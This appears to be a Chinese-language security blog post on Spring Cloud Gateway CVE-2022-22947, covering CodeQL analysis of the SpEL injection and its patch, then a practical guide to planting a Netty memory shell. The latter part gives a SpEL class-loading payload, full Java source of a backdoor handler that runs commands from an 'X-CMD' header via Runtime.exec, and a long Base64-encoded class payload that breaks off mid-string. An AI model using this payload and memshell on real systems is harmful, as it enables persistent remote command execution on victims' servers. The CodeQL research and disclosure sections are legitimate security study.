
2.5 深入挖掘

作者用 CodeQL 再次验证 Spring Cloud Gateway CVE-2022-22947 的根因 。

From here, I drafted up some CodeQL to see if I could track this behavior. It turns out the default CodeQL queries miss the Mono library as a source, so the SpEL injection can never be reached as a sink.

Above is what can be seen when running the default SpelInjectionConfig isSource predicate. Some sources can be seen, but none of these flow towards a valid SpEL sink.

这个漏洞的触发点在 Spring Cloud Gateway 中是 Mono(reactive 流式对象),默认 CodeQL 只认传统 Spring MVC 中的输入源(比如 HttpServletRequest),所以 CodeQL 不知道 Mono 里的用户输入也是危险的,因此它认为没有危险输入源流入 SpEL ,不会报错。

总之,默认的 CodeQL 检测不出此漏洞。

I ended up including SpringManagedResource in the default unsafe SpEL query to add in additional sources, which essentially checks for annotated @RequestBody and @RequestParam methods.img

后来作者写自定义的 CodeQL 规则时,发现默认的 CodeQL 检测不到

  • Spring WebFlux 中的 Mono
  • @RequestBody JSON 输入
  • @RequestParam 参数

这些都属于“用户输入来源”(sources),但是默认 CodeQL 不认识 。所以作者把 CodeQL 的 Source 扩展为:**任何带 @RequestBody、@RequestParam 的字段/Controller 入参,都算危险输入来源。**这样 CodeQL 就能追踪从 HTTP → SpEL 的数据流。

From there it was a basic path-problem of letting CodeQL determine if any input from an HTTP request could reach the StandardEvaluationContext in ShortcutConfigurable.imgThe outputs from the SpelInjectionQuery weren’t the easiest to understand, but some results are better than no results. I couldn’t figure out how to manually trace the code from the paths that CodeQL had provided. However, when I used a debugger and triggered a payload I could then step through a very similar chain to what CodeQL displayed.

I sent this over to VMware, who currently manages the security for Pivotal (Spring) products, on 1/15/22. They let me know they received my report pretty quickly after. Approximately a month later on 2/8/22 I heard back. They had created their own class that mostly implemented the SimpleEvaluationContext.

接下来就是,CodeQL 检查输入是否能够到达 ShortcutConfigurable 中的 StandardEvaluationContextStandardEvaluationContext是执行 SpEL 表达式的地方,也是 RCE 的根本点)。所以 CodeQL 只需判断:HTTP 输入(如 JSON)是否能到达 SpEL 执行环境,如果能到达,就说明存在 SpEL 注入(RCE)。

运行 CodeQL 后的输出,能够说明漏洞的确存在。 作者用 CodeQL 扩展规则识别 @RequestBody 输入,并成功证明 HTTP JSON 输入确实能流入 SpEL 执行点。然后把漏洞报告给 VMware,后者通过限制 EvaluationContext 修复了 RCE。

2.6 有人把豆子放进电脑里 ^-

Spring 的 bean 居然能被 SpEL 访问了!像有人把 bean 塞进电脑里一样。

“Someone Put Beans Inside the Computer”

The SimpleEvaluationContext supports a subset of SpEL features and is generally safer than StandardEvaluationContext. The Javadocs state “SimpleEvaluationContext is tailored to support only a subset of the SpEL language syntax, e.g. excluding references to Java types, constructors, and bean references.”

While I was looking into this I saw the original need for SpEL come from some issues on the GitHub repo. Primarily users were looking to implement a custom bean that could be invoked via a SpEL expression. An example was to manage the rate limit on a route.

SimpleEvaluationContext 是一个安全版的 SpEL EvaluationContext,Javadoc 说 SimpleEvaluationContext 禁止:

  • Java 类型引用 T(java.lang.Runtime)
  • 构造器 new Something()
  • bean 引用 @myBean

也就是说:按设计,它应该能彻底阻止 RCE。

相比之下:

StandardEvaluationContext 是“超级危险版”,可以直接 RCE,所以 VMware 用 SimpleEvaluationContext 来修漏洞。

While I was playing around with the patch, I observed that beans without method arguments could still be invoked. For example this means that #{@gatewayProperties.toString} can be used to print out the gatewayProperties bean definition. The SimpleEvaluationContext will not allow #{@gatewayProperties.setRoutes(...)} to be called. This should in essence restrict only getter methods from being invoked.

而作者在测试补丁后发现: SimpleEvaluationContext 按官方文档说应该禁止 Bean 调用 但实际上没有完全禁止。它限制的是:带参数的方法被禁止;无参方法(getter)可以调用

这变成了一个潜在风险。

例如:#{@gatewayProperties.toString}表达式仍能调用该 bean 的toString(),虽然不会 RCE ,但会暴露一些信息。

img

The above screenshot can be seen after sending #{@gatewayProperties.toString} in the two HTTP requests required to add and refresh routes. Notice that some internals can be leaked. Depending on the beans available, this could be used to leak properties or other attributes of the application state.

VMware 的 SimpleEvaluationContext 修补只能阻止 RCE,但不能阻止 Bean getter 被访问,因此仍然会产生内部信息泄露。换句话说,漏洞从 RCE 降级为 信息泄露,但问题并没有完全消失。

The gateway service can’t be responsible for beans that are included in the classpath, but it should at minimum ensure that no beans in it’s library can be invoked to leak significant information or negatively impact the application.

I ended up writing some more CodeQL to see how this would play out. Essentially I wanted to find all Beans that had methods without arguments in the library. From there, it would be helpful to recursively look at the return type and see if there are any methods without arguments that could be called. This would look like bean1.method1.method2.img

作者想知道:Spring Cloud Gateway 里到底有哪些 Bean 带有“无参方法链”? 比如:bean1.method1().method2().method3(),如果 method3 能做“危险操作”,攻击者就能利用。

最后他利用 CodeQL 自动分析 Spring Cloud Gateway 的代码,找出所有 SpEL 可能调用的无参方法链,从而判断哪些 Bean 会被攻击者利用,可能导致信息泄漏或 DoS。

即使官方用 SimpleEvaluationContext 限制了 SpEL,可只要方法是“无参数”,SpEL 仍然可能调用危险方法(比如 destroy()),导致 DoS

SimpleEvaluationContext 无法避免危险无参方法被调用,因此 VMware 引入了更严格的 PropertyAccessor,将所有方法调用映射为 null。默认开启。若关闭,则仍会受到 DoS 等风险影响。

读完 Wyatt 师傅的文章,感觉作者真正强的地方在于“不满足于补丁”,别人看补丁只会说:“OK 用 SimpleEvaluationContext 就安全了。”作者却继续追问:“它真的安全吗?”然后:发现 destroy(), 证明补丁没防住,再分析官方第二次补丁,再用 CodeQL 扫范围更广的 Bean。

永远不相信补丁,自己验证。 这是一次非常优秀的安全研究,是 Spring Cloud Gateway 安全方向最值得学习的资料之一。

三、Spring cloud gateway 通过 SpEL 注入内存马

参考:https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg 最进小火的漏洞 CVE-2022-22947 虽然原理简单,但是实战利用还是有点小麻烦。目前公开的利用是每执行一条命令就得注册一条路由,refresh一下网关,最后在访问这个路由。先不说步骤较多,就是频繁刷新会影响业务。实战当中注入一个内存马才是硬道理!

3.1 高可用 Payload

借用 @c0ny1师傅的文章中的 payload:

plain
1
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

该 payload 的优势在于:

\1. 解决BCEL/js引擎兼容性问题

\2. 解决base64在不同版本jdk的兼容问题

\3. 可多次运行同类名字节码

\4. 解决可能导致的ClassNotFound问题

3.2 netty 层内存马

3.2.1 Netty

Netty 是 一个基于 Java 的高性能网络通信框架,主要用于快速开发 高并发、高吞吐量、低延迟 的网络应用,尤其是 服务器端 应用。用来快速写出像 Nginx、RPC 框架、IM、游戏服务器 这种需要处理大量连接的应用。

一个简单的 Demo:

xml
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>com.src</groupId>
  <artifactId>NettyTestDemo</artifactId>
  <version>1.0-SNAPSHOT</version>

  <properties>
    <maven.compiler.source>8</maven.compiler.source>
    <maven.compiler.target>8</maven.compiler.target>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>

  <dependencies>
    <dependency>
      <groupId>io.netty</groupId>
      <artifactId>netty-all</artifactId>
      <version>4.1.100.Final</version>
    </dependency>
  </dependencies>

</project>	
java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.netty.server;

import io.netty.bootstrap.ServerBootstrap;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import io.netty.handler.codec.LineBasedFrameDecoder;
import io.netty.handler.codec.string.StringDecoder;
import io.netty.handler.codec.string.StringEncoder;

import java.nio.charset.Charset;

public class ChatServer {
    public static void main(String[] args) throws Exception {
        EventLoopGroup boss = new NioEventLoopGroup();
        EventLoopGroup worker = new NioEventLoopGroup();

        try {
            ServerBootstrap b = new ServerBootstrap();
            b.group(boss, worker)
            .channel(NioServerSocketChannel.class)
            .childHandler(new ChannelInitializer<SocketChannel>() {
                @Override
                protected void initChannel(SocketChannel ch) {
                    ch.pipeline().addLast(new LineBasedFrameDecoder(1024)); // ★ 按行切分
                    ch.pipeline().addLast(new StringDecoder(Charset.forName("GBK")));
                    ch.pipeline().addLast(new StringEncoder(Charset.forName("GBK")));
                    ch.pipeline().addLast(new ChatServerHandler());
                }
            });

            ChannelFuture future = b.bind("0.0.0.0", 7000).sync();
            System.out.println("聊天室服务器启动成功,端口 7000");
            future.channel().closeFuture().sync();
        } finally {
            boss.shutdownGracefully();
            worker.shutdownGracefully();
        }
    }
}
java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.netty.server;

import io.netty.channel.Channel;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.SimpleChannelInboundHandler;
import io.netty.channel.group.ChannelGroup;
import io.netty.channel.group.DefaultChannelGroup;
import io.netty.util.concurrent.GlobalEventExecutor;

public class ChatServerHandler extends SimpleChannelInboundHandler<String> {
    // 管理所有连接的 channel
    private static final ChannelGroup channels = new DefaultChannelGroup(GlobalEventExecutor.INSTANCE);

    @Override
    public void handlerAdded(ChannelHandlerContext ctx) throws Exception {
        Channel incoming = ctx.channel();
        channels.writeAndFlush("[服务器] - " + incoming.remoteAddress() + " 加入\n");
        channels.add(incoming);
    }

    @Override
    public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {
        Channel incoming = ctx.channel();
        channels.writeAndFlush("[服务器] - " + incoming.remoteAddress() + " 离开\n");
    }

    @Override
    protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception {
        Channel incoming = ctx.channel();
        for (Channel ch : channels) {
            if (ch != incoming) {
                ch.writeAndFlush("[" + incoming.remoteAddress() + "] 说: " + msg + "\n");
            } else {
                ch.writeAndFlush("[你]:" + msg + "\n");
            }
        }
    }

    @Override
    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
        cause.printStackTrace();
        ctx.close();
    }
}

我这里的是监听了 0.0.0.0 部署到了同一局域网内:

plain
1
ChannelFuture future = b.bind("0.0.0.0", 7000).sync();

只需要执行telnet 192.168.31.16 7000 就可以加入这个聊天室:

img

(这就是最简版 IM!)

当然前提是电脑安装 Telnet 客户端:

img

3.2.2 Netty 内存马的关键点

Netty 的网络处理流程是基于 ChannelPipeline (责任链模式),HTTP 请求来了之后,会经过多个加工环节(handler),在 Netty 里插入内存马就相当于在责任链 pipeline 中偷偷放一个恶意 handler,让它拦截请求、执行命令,但是 Netty 每次处理新连接时,都会重新构建一个 pipeline。

传统 java web 体系:Filter、Servlet、Listener 这些组件都是在服务器启动时就创建好的,有固定的生命周期;

Netty 则完全不同,每一个请求都会 new 一条新的 pipeline,并不存在固定的唯一的 Filter/Servlet 这种东西。

那么谁负责给 pipeline 添加 handler?

-> ChannelPipelineConfigurer

ChannelPipelineConfigurer在 pipeline 创建时,配置它应该包含哪些 handler,按什么顺序添加 handler。

源码位置:

io\projectreactor\netty\reactor-netty-core\1.1.0\reactor-netty-core-1.1.0-sources.jar!\reactor\netty\ReactorNetty.java

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
public final class ReactorNetty {
    ...
    //将多个 ChannelPipelineConfigurer 组合在一起,形成一个 “组合配置器”
    static final class CompositeChannelPipelineConfigurer implements ChannelPipelineConfigurer {
        ...
        //这是一个静态方法,用于把两个 ChannelPipelineConfigurer 合并成一个。返回值类型是 ChannelPipelineConfigurer,如果两个都是非空组合,则返回一个新的 CompositeChannelPipelineConfigurer。
        static ChannelPipelineConfigurer compositeChannelPipelineConfigurer(
				ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other) {

            //如果其中一个是空配置(emptyConfigurer()),直接返回另一个即可。
            //避免创建冗余的组合对象,提高性能。
			if (configurer == ChannelPipelineConfigurer.emptyConfigurer()) {
				return other;
			}

			if (other == ChannelPipelineConfigurer.emptyConfigurer()) {
				return configurer;
			}

            //newConfigurers:最终合并后的配置器数组。
			final ChannelPipelineConfigurer[] newConfigurers;
            //thizConfigurers:如果 configurer 本身就是一个CompositeChannelPipelineConfigurer,则保存它内部的所有配置器。
			final ChannelPipelineConfigurer[] thizConfigurers;
            //同理
			final ChannelPipelineConfigurer[] otherConfigurers;
            //初始长度 length = 2,因为至少要存放 configurer 和 other。
			int length = 2;

            //如果 configurer 已经是组合类型:取出它内部的配置器数组 thizConfigurers;长度增加 thizConfigurers.length - 1
			if (configurer instanceof CompositeChannelPipelineConfigurer) {
				thizConfigurers = ((CompositeChannelPipelineConfigurer) configurer).configurers;
				length += thizConfigurers.length - 1;
			}
			else {
                //否则置为 null。
				thizConfigurers = null;
			}

            //对 other 也做同样的处理。
			if (other instanceof CompositeChannelPipelineConfigurer) {
				otherConfigurers = ((CompositeChannelPipelineConfigurer) other).configurers;
				length += otherConfigurers.length - 1;
			}
			else {
				otherConfigurers = null;
			}

            //根据计算好的长度创建最终数组,用于存放合并后的所有配置器。
			newConfigurers = new ChannelPipelineConfigurer[length];

            //如果 configurer 本身是组合类型,把它内部的配置器复制到新数组开头。
			int pos;
			if (thizConfigurers != null) {
				pos = thizConfigurers.length;
				System.arraycopy(thizConfigurers, 0, newConfigurers, 0, pos);
			}
                //否则,直接把 configurer 放到数组第一个位置。
			else {
				pos = 1;
				newConfigurers[0] = configurer;
			}

			if (otherConfigurers != null) {
				System.arraycopy(otherConfigurers, 0, newConfigurers, pos, otherConfigurers.length);
			}
			else {
				newConfigurers[pos] = other;
			}

            //用合并后的数组创建一个新的 CompositeChannelPipelineConfigurer
            //最终效果是把两个配置器(或组合配置器)平铺合并成一个单一的组合对象
			return new CompositeChannelPipelineConfigurer(newConfigurers);
		}
	}
}

CompositeChannelPipelineConfigurer 的实现原理:

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
	static final class CompositeChannelPipelineConfigurer implements ChannelPipelineConfigurer {

        //保存所有被组合的配置器
		final ChannelPipelineConfigurer[] configurers;

        //构造方法接收一个配置器数组并赋值给成员变量
        //这个数组通常是通过之前我们分析的 compositeChannelPipelineConfigurer() 方法生成的
        //保证组合器一旦创建就不可变(final 修饰)
		CompositeChannelPipelineConfigurer(ChannelPipelineConfigurer[] configurers) {
			this.configurers = configurers;
		}

		@Override
        //onChannelInit 对传入的 Channel 进行初始化,依次给 ChannelPipeline 添加 handler
		public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, @Nullable SocketAddress remoteAddress) {
			// 循环调用所有 configurer 对 pipeline 设置 handler
            for (ChannelPipelineConfigurer configurer : configurers) {
				configurer.onChannelInit(connectionObserver, channel, remoteAddress);
			}
		}

因此我们可以通过修改 other 参数为自己的 configurer 向 pipeline 中添加内存马。翻阅源码发现 reactor.netty.transport.TransportConfig 类的 doOnChannelInit 属性存储着 other 参数,

使用 java-object-searcher 以 doOnChannelInit 为关键字,定位出 doOnChannelInit 在线程对象的位置:

plain
1
2
3
4
5
TargetObject = {[Ljava.lang.Thread;} 
   ---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} 
    ---> val$disposableServer = {reactor.netty.transport.ServerTransport$InetDisposableBind} 
     ---> config = {reactor.netty.http.server.HttpServerConfig} 
        ---> doOnChannelInit = {reactor.netty.ReactorNetty$$Lambda$391/236567414}

攻击思路: 如果我们把 other 参数设置成非空配置(比如自己的 handler 配置):方法会把 configurer + other 合并成一个新的 CompositeChannelPipelineConfigurer这个 composite configurer 的 onChannelInit循环调用所有合并的 configurer,也就是说:先执行默认 handler 配置,再执行恶意 handler 配置。

这样就实现了 内存马植入 pipeline,每条 pipeline 都会自动包含你的 handler。

总结一下:

  1. CompositeChannelPipelineConfigurerpipeline configurer 合并器
  2. 默认情况下,返回的是 Spring Cloud Gateway 默认 configurer
  3. 如果能控制 other 参数:就能把自己的 configurer 合并进去,在 pipeline 初始化时添加恶意 handler 实现内存马
  4. doOnChannelInit 是 pipeline 初始化钩子的存储点,可以用它找到线程对象 -> 进入 Netty 配置 -> 替换 / 注入自己的 configurer

核心思路是通过控制 Spring Cloud Gateway 的 doOnChannelInit(即 other configurer)来生成 composite configurer,从而在每条 pipeline 上注入自己的 handler,实现 Netty 内存马。

3.2.3 最终的内存马

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
    public static String doInject(){
        String msg = "inject-start";
        try {
            Method getThreads = Thread.class.getDeclaredMethod("getThreads");
            getThreads.setAccessible(true);
            Object threads = getThreads.invoke(null);

            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                    Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
                    _val$disposableServer.setAccessible(true);
                    Object val$disposableServer = _val$disposableServer.get(thread);
                    Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
                    _config.setAccessible(true);
                    Object config = _config.get(val$disposableServer);
                    Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
                    _doOnChannelInit.setAccessible(true);
                    _doOnChannelInit.set(config, new NettyMemshell());
                    msg = "inject-success";
                }
            }
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    @Override
    // Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
        ChannelPipeline pipeline = channel.pipeline();
        // 将内存马的handler添加到spring层handler的前面        
        pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
    }


    @Override
    // Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if(msg instanceof HttpRequest){
            HttpRequest httpRequest = (HttpRequest)msg;
            try {
                if(httpRequest.headers().contains("X-CMD")) {
                    String cmd = httpRequest.headers().get("X-CMD");
                    String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    // 返回执行结果
                    send(ctx, execResult, HttpResponseStatus.OK);
                    return;
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        ctx.fireChannelRead(msg);
    }


    private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
        FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
        response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
        ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
    }
}

3.2.4 通过 CVE-2022-22947 的 SpEL 注入内存马

payload:

需要把上方的内存马编译为 class 文件,在经过 Base64 编码后,构建完整的 payload:(传的时候要把换行去掉!)

plain
1
2
3
4
5
6
7
#{T(org.springframework.cglib.core.ReflectUtils).defineClass(
'NettyMemshell',
     T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBDwoAPgB6CAB7BwB8CABTBwB9CgAFAH4KAFwAfwcAgAoAXACBCgCCAIMKAIIAhAoACACFCgAFAIYIAIcKAFsAiAgASwoABQCJCgCKAH8KAIoAiwoABQCMCABOCACNBwCOCgAXAHoKAIoAjwgAkAcAkQgAkgsAkwCUCACVCACWCwCXAJgHAJkLACEAmggAmwoAnACdCgCcAJ4HAJ8KAKAAoQoAoACiCgCjAKQKACYApQgApgoAJgCnCgAmAKgJAKkAqgoAFwCrCgAbAKwLAK0ArgcArwkAsACxCQCyALMKALQAtQoAMgC2CwC3AJoJALgAuQgAugoAnAC7CwCtALwJAL0AvgsAvwDABwDBBwDCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABlMY29tL25ldHR5L05ldHR5TWVtc2hlbGw7AQAIZG9JbmplY3QBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAFV92YWwkZGlzcG9zYWJsZVNlcnZlcgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABR2YWwkZGlzcG9zYWJsZVNlcnZlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAB19jb25maWcBAAZjb25maWcBABBfZG9PbkNoYW5uZWxJbml0AQAGdGhyZWFkAQABaQEAAUkBAApnZXRUaHJlYWRzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAd0aHJlYWRzAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAMMHAMQBAA1vbkNoYW5uZWxJbml0AQBXKExyZWFjdG9yL25ldHR5L0Nvbm5lY3Rpb25PYnNlcnZlcjtMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsO0xqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOylWAQASY29ubmVjdGlvbk9ic2VydmVyAQAiTHJlYWN0b3IvbmV0dHkvQ29ubmVjdGlvbk9ic2VydmVyOwEAB2NoYW5uZWwBABpMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsOwEADXNvY2tldEFkZHJlc3MBABhMamF2YS9uZXQvU29ja2V0QWRkcmVzczsBAAhwaXBlbGluZQEAIkxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxQaXBlbGluZTsBABBNZXRob2RQYXJhbWV0ZXJzAQALY2hhbm5lbFJlYWQBAD0oTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEhhbmRsZXJDb250ZXh0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQADY21kAQAKZXhlY1Jlc3VsdAEAC2h0dHBSZXF1ZXN0AQApTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVxdWVzdDsBAANjdHgBAChMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7AQAKRXhjZXB0aW9ucwEABHNlbmQBAG0oTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEhhbmRsZXJDb250ZXh0O0xqYXZhL2xhbmcvU3RyaW5nO0xpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFJlc3BvbnNlU3RhdHVzOylWAQAHY29udGV4dAEABnN0YXR1cwEAMExpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFJlc3BvbnNlU3RhdHVzOwEACHJlc3BvbnNlAQAuTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9GdWxsSHR0cFJlc3BvbnNlOwEAClNvdXJjZUZpbGUBABJOZXR0eU1lbXNoZWxsLmphdmEMAEAAQQEADGluamVjdC1zdGFydAEAEGphdmEvbGFuZy9UaHJlYWQBAA9qYXZhL2xhbmcvQ2xhc3MMAMUAxgwAxwDIAQAQamF2YS9sYW5nL09iamVjdAwAyQDKBwDLDADMAM0MAM4AzwwA0ADRDADSAEgBAA5OZXR0eVdlYlNlcnZlcgwA0wDUDADVANYHANcMAM4A2AwA2QDRAQAPZG9PbkNoYW5uZWxJbml0AQAXY29tL25ldHR5L05ldHR5TWVtc2hlbGwMANoA2wEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEADGluamVjdC1lcnJvcgcA3AwAZQDdAQAfcmVhY3Rvci5sZWZ0Lmh0dHBUcmFmZmljSGFuZGxlcgEAEG1lbXNoZWxsX2hhbmRsZXIHAN4MAN8A4AEAJ2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVxdWVzdAwA4QDiAQAFWC1DTUQHAOMMANMA5AwAzgDlAQARamF2YS91dGlsL1NjYW5uZXIHAOYMAOcA6AwA6QDqBwDrDADsAO0MAEAA7gEAAlxBDADvAPAMAPEASAcA8gwA8wB1DABxAHIMAPQAQQcA9QwA9gD3AQAzaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0RlZmF1bHRGdWxsSHR0cFJlc3BvbnNlBwD4DAD5APoHAPsMAPwA/QcA/gwA/wEADABAAQEHAQIHAQMMAQQBBQEAGXRleHQvcGxhaW47IGNoYXJzZXQ9VVRGLTgMANoBBgwBBwEIBwEJDAEKAQsHAQwMAQ0BDgEAJWlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbER1cGxleEhhbmRsZXIBACdyZWFjdG9yL25ldHR5L0NoYW5uZWxQaXBlbGluZUNvbmZpZ3VyZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABdqYXZhL2xhbmcvcmVmbGVjdC9BcnJheQEACWdldExlbmd0aAEAFShMamF2YS9sYW5nL09iamVjdDspSQEAA2dldAEAJyhMamF2YS9sYW5nL09iamVjdDtJKUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAB2dldE5hbWUBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQANZ2V0U3VwZXJjbGFzcwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAGGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbAEAJCgpTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAIGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lAQAJYWRkQmVmb3JlAQBpKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyOylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsUGlwZWxpbmU7AQAHaGVhZGVycwEAKygpTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyczsBACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnMBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAuaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXNwb25zZVN0YXR1cwEAAk9LAQAPcHJpbnRTdGFja1RyYWNlAQAmaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQBAA9maXJlQ2hhbm5lbFJlYWQBADwoTGphdmEvbGFuZy9PYmplY3Q7KUxpby9u